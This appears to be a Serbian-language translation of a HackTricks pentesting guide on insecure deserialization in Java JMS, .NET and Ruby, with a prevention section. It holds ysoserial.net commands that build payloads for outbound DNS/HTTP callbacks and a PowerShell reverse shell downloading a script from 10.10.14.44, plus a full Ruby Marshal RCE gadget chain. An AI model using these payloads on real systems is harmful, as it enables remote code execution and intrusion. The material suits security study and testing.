Java Message Service (JMS) API je Java API za poruke usmerene na poruke za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođača-potrošača. JMS je deo Java Platform, Enterprise Edition (Java EE) i definisan je specifikacijom koju je razvio Sun Microsystems, ali koju je od tada vodio Java Community Process. To je standard za razmenu poruka koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude slabo povezana, pouzdana i asinhrona. (Iz Wikipedia).
Proizvodi
Postoji nekoliko proizvoda koji koriste ovaj middleware za slanje poruka:
Eksploatacija
Dakle, u osnovi postoji niz usluga koje koriste JMS na opasan način. Dakle, ako imate dovoljno privilegija za slanje poruka tim uslugama (obično će vam biti potrebne validne akreditacije), možete poslati zlonamerne objekte serijalizovane koji će biti deserijalizovani od strane potrošača/pretplatnika.
To znači da će svi klijenti koji će koristiti tu poruku biti zaraženi.
Trebali biste zapamtiti da čak i ako je usluga ranjiva (jer nesigurno deserijalizuje korisnički unos), i dalje morate pronaći validne gadgete za iskorišćavanje ranjivosti.
Alatka JMET je kreirana kako bi se povezala i napala ove usluge slanjem nekoliko zlonamernih objekata serijalizovanih koristeći poznate gadgete. Ovi napadi će uspeti ako je usluga i dalje ranjiva i ako se neki od korišćenih gadgeta nalazi unutar ranjive aplikacije.
Reference
- JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
- Slides: https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
.Net
U kontekstu .Net-a, eksploatacija deserijalizacije funkcioniše na sličan način kao u Javi, gde se gadgeti iskorišćavaju kako bi se izvršio određeni kod tokom deserijalizacije objekta.
Fingerprint
WhiteBox
Izvorni kod treba biti pregledan u potrazi za pojavama:
TypeNameHandling
JavaScriptTypeResolver
Fokus treba biti na serializerima koji omogućavaju određivanje tipa putem promenljive kojom korisnik upravlja.
BlackBox
Pretraga treba ciljati Base64 kodiranu nisku AAEAAAD///// ili bilo koji sličan obrazac koji bi mogao biti podvrgnut deserializaciji na serverskoj strani, dajući kontrolu nad tipom koji će biti deserializovan. Ovo može uključivati, ali nije ograničeno na, JSON ili XML strukture koje sadrže TypeObject
ili $type
.
ysoserial.net
U ovom slučaju možete koristiti alat ysoserial.net kako biste kreirali deserializacijske eksploate. Nakon preuzimanja git repozitorijuma, trebali biste kompajlirati alat koristeći na primer Visual Studio.
Ako želite da saznate kako ysoserial.net kreira svoj eksploit, možete proveriti ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.
Glavne opcije ysoserial.net su: --gadget
, --formatter
, --output
i --plugin
.
--gadget
se koristi da se naznači gadget koji će biti zloupotrebljen (naznačiti klasu/funkciju koja će biti zloupotrebljena tokom deserializacije radi izvršavanja komandi).--formatter
, koristi se da se naznači metoda za serijalizaciju eksploita (trebate znati koju biblioteku koristi pozadina za deserializaciju payloada i koristiti istu za serijalizaciju).--output
se koristi da se naznači da li želite eksploit u sirovom ili Base64 kodiranom formatu. Imajte na umu da će ysoserial.net kodirati payload koristeći UTF-16LE (podrazumevano kodiranje na Windowsu), pa ako dobijete sirovi format i samo ga kodirate sa linux konzole, možda ćete imati neke probleme sa kompatibilnošću kodiranja koji će sprečiti ispravno funkcionisanje eksploita (u HTB JSON kutiji payload je radio i u UTF-16LE i ASCII, ali to ne znači da će uvek raditi).--plugin
ysoserial.net podržava dodatke za izradu eksploita za određene okvire kao što je ViewState
Više parametara ysoserial.net
--minify
će pružiti manji payload (ako je moguće)--raf -f Json.Net -c "anything"
Ovo će naznačiti sve gadžete koji se mogu koristiti sa određenim formatterom (Json.Net
u ovom slučaju)--sf xml
možete naznačiti gadžet (-g
) i ysoserial.net će tražiti formate koji sadrže "xml" (bez obzira na veličinu slova)
ysoserial primeri za kreiranje eksploita:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net takođe ima vrlo interesantan parametar koji pomaže da se bolje razume kako svaki exploit funkcioniše: --test
Ako navedete ovaj parametar, ysoserial.net će pokušati exploit lokalno, tako da možete testirati da li će vaš payload pravilno raditi.
Ovaj parametar je koristan jer ako pregledate kod, pronaći ćete delove koda poput sledećeg (iz ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Ovo znači da bi se testirao exploit, kod će pozvati serializersHelper.JsonNet_deserialize funkciju.
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
U prethodnom kodu postoji ranjivost koju je moguće iskoristiti. Dakle, ako pronađete nešto slično u .Net aplikaciji, to znači da je ta aplikacija verovatno ranjiva.
Stoga, --test
parametar nam omogućava da razumemo koji delovi koda su ranjivi na deserializacijski napad koji može stvoriti ysoserial.net.
ViewState
Pogledajte ovaj POST o kako pokušati iskoristiti __ViewState parametar u .Net-u da biste izvršili proizvoljni kod. Ako već znate tajne koje koristi ciljna mašina, pročitajte ovaj post da biste saznali kako izvršiti kod.
Prevencija
Da biste smanjili rizike povezane sa deserializacijom u .Net-u:
-
Izbegavajte dozvoljavanje da podaci definišu svoje tipove objekata. Koristite
DataContractSerializer
iliXmlSerializer
kada je to moguće. -
Za
JSON.Net
, postaviteTypeNameHandling
naNone
: %%%TypeNameHandling = TypeNameHandling.None%%% -
Izbegavajte korišćenje
JavaScriptSerializer
saJavaScriptTypeResolver
-om. -
Ograničite tipove koji mogu biti deserializovani, razumevajući inherentne rizike sa .Net tipovima, kao što je
System.IO.FileInfo
, koji može menjati osobine serverskih fajlova, što može dovesti do napada uskraćivanja usluge. -
Budite oprezni sa tipovima koji imaju rizične osobine, kao što je
System.ComponentModel.DataAnnotations.ValidationException
sa svojomValue
osobinom, koja može biti iskorišćena. -
Sigurno kontrolišite instanciranje tipova kako biste sprečili napadače da utiču na proces deserializacije, čime se čak i
DataContractSerializer
iliXmlSerializer
čine ranjivim. -
Implementirajte kontrolu bele liste koristeći prilagođeni
SerializationBinder
zaBinaryFormatter
iJSON.Net
. -
Budite informisani o poznatim nesigurnim deserializacijskim gadgetima u okviru .Net-a i obezbedite da deserializatori ne instanciraju takve tipove.
-
Izolujte potencijalno rizičan kod od koda sa pristupom internetu kako biste izbegli izlaganje poznatih gadgeta, poput
System.Windows.Data.ObjectDataProvider
u WPF aplikacijama, nepouzdanim izvorima podataka.
Reference
- Java i .Net JSON deserializacija rad: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, predavanje: https://www.youtube.com/watch?v=oUAeWhW5b8c i slajdovi: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
U Ruby-ju, serijalizacija se olakšava pomoću dve metode unutar marshal biblioteke. Prva metoda, poznata kao dump, koristi se za pretvaranje objekta u niz bajtova. Ovaj proces se naziva serijalizacija. S druge strane, druga metoda, load, koristi se za vraćanje niza bajtova u objekat, proces poznat kao deserijalizacija.
Za obezbeđivanje serijalizovanih objekata, Ruby koristi HMAC (Hash-Based Message Authentication Code), obezbeđujući integritet i autentičnost podataka. Ključ koji se koristi u tu svrhu čuva se na jednom od nekoliko mogućih lokacija:
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Ruby 2.X generički deserializacija u RCE gadget lanac (više informacija na https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Drugi RCE lanac za iskorišćavanje Ruby On Rails-a: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju oglašenu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @hacktricks_live.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.